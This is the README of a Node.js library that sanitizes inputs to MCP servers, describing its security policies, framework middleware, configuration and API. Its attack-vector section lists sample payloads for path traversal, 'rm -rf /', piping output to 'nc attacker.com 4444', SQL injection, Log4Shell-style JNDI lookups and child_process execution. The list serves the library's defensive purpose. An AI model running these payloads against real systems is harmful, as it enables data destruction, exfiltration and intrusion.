MCP Sanitizer

A comprehensive security sanitization library for Model Context Protocol (MCP) servers, designed to prevent common attack vectors including command injection, SQL injection, directory traversal, prototype pollution, and code execution attempts.

🔒 Security Features

MCP Sanitizer provides comprehensive, defense-in-depth protection against common attack vectors:

• ✅ Multi-layered validation for command injection, SQL injection, and XSS
• ✅ Advanced Unicode normalization to prevent homograph attacks
• ✅ Context-aware sanitization for different input types
• ✅ NoSQL injection protection for MongoDB and similar databases
• ✅ Path traversal prevention with robust normalization
• ✅ Database-specific SQL protection for PostgreSQL, MySQL, MSSQL, Oracle
• ✅ Comprehensive test coverage with 500+ security tests

Security Philosophy

While we maintain rigorous security standards and comprehensive test coverage, we acknowledge that:

• No security solution is 100% bulletproof
• Zero-day vulnerabilities may exist
• Defense-in-depth is essential
• Regular updates are crucial

We encourage responsible disclosure of any security issues via GitHub Security Advisories.

Features

Core Capabilities

• Multi-layered Protection: Command injection, SQL injection, XSS, NoSQL injection, path traversal
• Advanced Unicode Defense: Homograph detection, normalization, zero-width character removal
• Context-aware Validation: Different rules for file paths, URLs, commands, and SQL queries
• Framework Integration: Express, Fastify, and Koa middleware with skipPaths support
• Security Policies: Pre-configured (STRICT, MODERATE, PERMISSIVE, DEVELOPMENT, PRODUCTION)
• Performance Optimized: Sub-millisecond operations, <10ms latency
• Comprehensive Testing: 500+ security tests

Installation

npm install mcp-sanitizer

Quick Start

const MCPSanitizer = require('mcp-sanitizer');

// Use default configuration
const sanitizer = new MCPSanitizer();

// Or use a security policy
const strictSanitizer = new MCPSanitizer('STRICT');

// Sanitize MCP tool call
const toolCall = {
  name: "file_reader",
  parameters: {
    file_path: "../../../etc/passwd"  // Malicious input
  }
};

const result = sanitizer.sanitize(toolCall);
if (result.blocked) {
  console.log('Attack blocked:', result.warnings);
} else {
  console.log('Safe input:', result.sanitized);
}

Security Policies

The MCP Sanitizer includes five pre-configured security policies:

| Policy | Use Case | String Limit | Protocols | Blocking Level | |--------|----------|--------------|-----------|----------------| | STRICT | High-security, untrusted input | 1,000 chars | HTTPS only | Medium+ | | MODERATE | Balanced production security | 5,000 chars | HTTP, HTTPS, MCP | High+ | | PERMISSIVE | Trusted environments | 50,000 chars | HTTP, HTTPS, FTP, MCP, File | Critical only | | DEVELOPMENT | Development with debugging | 20,000 chars | HTTP, HTTPS, MCP, File | High+ | | PRODUCTION | Production environments | 8,000 chars | HTTPS, MCP | High+ |

// Use a security policy
const sanitizer = new MCPSanitizer('PRODUCTION');

// Use policy with customizations
const customSanitizer = new MCPSanitizer({
  policy: 'MODERATE',
  maxStringLength: 15000,
  allowedProtocols: ['https', 'mcp'],
  blockSeverity: 'MEDIUM'  // Block medium severity and above
});

Framework Middleware

Express.js

const express = require('express');
const { createMCPMiddleware } = require('mcp-sanitizer');

const app = express();
app.use(express.json());

// Auto-detect framework and apply middleware
app.use(createMCPMiddleware());

// Or specify configuration
app.use(createMCPMiddleware({
  policy: 'PRODUCTION',
  mode: 'sanitize', // or 'block'
  skipPaths: ['/health', '/metrics']  // Skip sanitization for these paths
}));

app.post('/tools/:toolName/execute', (req, res) => {
  // req.body is now sanitized
  // req.sanitizationWarnings contains any warnings
});

Fastify

const fastify = require('fastify')();
const { createFastifyPlugin } = require('mcp-sanitizer');

// Register as plugin
fastify.register(createFastifyPlugin({
  policy: 'MODERATE'
}));

Koa

const Koa = require('koa');
const { createKoaMiddleware } = require('mcp-sanitizer');

const app = new Koa();
app.use(createKoaMiddleware({
  policy: 'STRICT'
}));

Configuration Options

Using Configuration Builder (Fluent API)

const { createConfigBuilder } = require('mcp-sanitizer');

const config = createConfigBuilder()
  .usePolicy('MODERATE')
  .maxStringLength(20000)
  .allowProtocols(['https', 'mcp'])
  .allowFileExtensions(['.txt', '.json', '.md', '.csv'])
  .blockOnSeverity('high')
  .strictMode(true)
  .patternDetection({
    enableCommandInjection: true,
    enableSQLInjection: true,
    enablePrototypePollution: true,
    enableTemplateInjection: false
  })
  .build();

const sanitizer = new MCPSanitizer(config);

Direct Configuration

const sanitizer = new MCPSanitizer({
  // Limits
  maxStringLength: 10000,
  maxDepth: 10,
  maxArrayLength: 1000,
  maxObjectKeys: 100,
  
  // Security
  allowedProtocols: ['https', 'mcp'],
  allowedFileExtensions: ['.txt', '.json', '.md'],
  blockOnSeverity: 'high',
  strictMode: false,
  
  // Patterns
  blockedPatterns: [
    /\$\{.*?\}/g,     // Template injection
    /__proto__/gi,    // Prototype pollution
    /require\s*\(/gi  // Code execution
  ],
  
  // Context-specific settings
  contextSettings: {
    url: {
      allowPrivateIPs: false,
      allowLocalhostWithoutPort: false
    },
    filePath: {
      allowAbsolutePaths: false,
      allowedDirectories: ['./data']
    }
  }
});

Supported Attack Vectors

Directory Traversal

• ../../../etc/passwd
• ..\\windows\\system32\\config
• /proc/version, /sys/class/net

Command Injection

• ls; rm -rf /
• command && malicious_command
• ls | nc attacker.com 4444

SQL Injection

• '; DROP TABLE users;--
• UNION SELECT * FROM passwords
• EXEC xp_cmdshell('dir')

Prototype Pollution

• {"__proto__": {"isAdmin": true}}
• {"constructor": {"prototype": {"polluted": true}}}

Template Injection

• {{constructor.constructor('return process')()}}
• ${jndi:ldap://evil.com/x}
• <%= require("child_process").exec("whoami") %>

Code Execution

• require('fs').readFileSync('/etc/passwd')
• eval("malicious_code")
• Function("return process")()

API Reference

new MCPSanitizer(options?)

Create a new sanitizer instance.

Parameters:

• options: Configuration object, security policy name, or policy with customizations

sanitizer.sanitize(input, context?)

Sanitizes input data and returns a result object.

Parameters:

• input: The data to sanitize (any type)
• context: Optional context object with type field

Returns:

{
  sanitized: any,     // Sanitized data (null if blocked)
  warnings: string[], // Array of warning messages
  blocked: boolean    // True if input was blocked
}

Context Types:

• file_path: Apply file path validation
• url: Apply URL validation
• command: Apply command validation
• sql: Apply SQL query validation

Specialized Methods

// Sanitize specific input types
sanitizer.sanitizeFilePath('/path/to/file');
sanitizer.sanitizeURL('https://example.com');
sanitizer.sanitizeCommand('ls -la');
sanitizer.sanitizeSQL('SELECT * FROM users WHERE id = ?');

Configuration Methods

// Get configuration summary
const summary = sanitizer.getConfigSummary();

// Update configuration at runtime
sanitizer.updateConfig({
  maxStringLength: 25000
});

// Apply new security policy
sanitizer.applyPolicy('STRICT', {
  maxStringLength: 5000 // Override
});

// Check environment compatibility
const compatibility = sanitizer.checkEnvironmentCompatibility('production');

Security Libraries Used

The MCP Sanitizer leverages trusted, industry-standard security libraries:

• escape-html - HTML entity encoding (3-4x faster than regex)
• sqlstring - MySQL-compatible SQL escaping
• shell-quote - Shell command escaping
• validator - String validation and sanitization
• sanitize-filename - Filename sanitization
• path-is-inside - Path containment checking
• unorm - Unicode normalization (NFC, NFD, NFKC, NFKD)

Testing

# Run tests
npm test

# Run with coverage
npm run test:coverage

# Watch mode
npm run test:watch

# Security audit
npm run security-audit

Performance

• Low Latency: All operations complete in <0.5ms
• Memory Efficient: Configurable limits prevent memory exhaustion
• Scalable: Stateless design allows horizontal scaling
• Optimized: Using C++ backed libraries where available

Examples

Environment-based Configuration

const { createRecommendedConfig } = require('mcp-sanitizer');

// Get recommended configuration for your environment
const { config, metadata } = createRecommendedConfig('production', 'low');
console.log(metadata.rationale); // Why this policy was recommended

const sanitizer = new MCPSanitizer(config);

Custom Security Patterns

const sanitizer = new MCPSanitizer({
  blockedPatterns: [
    // Default patterns plus custom ones
    /bitcoin|cryptocurrency/i,  // Block crypto content
    /\b\d{16}\b/,              // Block credit card numbers
    /password|secret|token/i    // Block sensitive keywords
  ],
  sqlKeywords: [
    // Add custom SQL keywords
    'MERGE', 'UPSERT', 'BULK'
  ]
});

MCP Tool Parameter Validation

// Before executing file operations
const pathResult = sanitizer.sanitize(params.file_path, { type: 'file_path' });
if (pathResult.blocked) {
  throw new Error('Invalid file path');
}

// Before making HTTP requests
const urlResult = sanitizer.sanitize(params.url, { type: 'url' });
if (urlResult.blocked) {
  throw new Error('Invalid or restricted URL');
}

Security Considerations

• Defense in Depth: Use sanitization as one layer of your security strategy
• Input Validation: Always validate inputs at the edge of your system
• Output Encoding: Consider output context when displaying sanitized data
• Rate Limiting: Implement rate limiting alongside input sanitization
• Logging: Log blocked attempts for security monitoring
• Regular Updates: Keep the library updated for new attack patterns

Contributing

1. Fork the repository
2. Create a feature branch (git checkout -b feature/amazing-feature)
3. Write tests for new functionality
4. Ensure all tests pass (npm test)
5. Lint your code (npm run lint)
6. Commit your changes (git commit -m 'Add amazing feature')
7. Push to the branch (git push origin feature/amazing-feature)
8. Open a Pull Request

Security

🛡️ Security Testing

Run comprehensive security benchmarks to validate protection:

# Run all benchmarks
npm run benchmark

# Run security-specific benchmark (42 attack vectors)
node benchmark/advanced-security-benchmark.js

# Run performance benchmarks
node benchmark/library-performance.js
node benchmark/skip-paths-performance.js

📊 Security Testing Coverage

• Attack Vectors Tested: 42 comprehensive test cases
• XSS Vectors: 13 test cases
• SQL Injection Vectors: 10 test cases
• Command Injection Vectors: 10 test cases
• Path Traversal Vectors: 9 test cases
• Memory Safety: Bounded memory usage under attack

🔒 Security Best Practices

1. Always use STRICT or PRODUCTION policy for untrusted input
2. Regularly update to get latest security patches
3. Test with your specific attack vectors
4. Monitor sanitization warnings and blocked attempts in production
5. Implement defense-in-depth - don't rely on a single security layer

📝 Security Documentation

• Security Documentation - Comprehensive security information
• Benchmark Documentation - Performance and security testing

Security Reporting

If you discover a security vulnerability, please email me instead of using the public issue tracker. We follow responsible disclosure practices and will credit researchers.

License

MIT License - see LICENSE file for details.

Related Projects

• Model Context Protocol
• OWASP Input Validation
• Express Security Best Practices

Built with ❤️ for the MCP community. Secured with industry-standard libraries.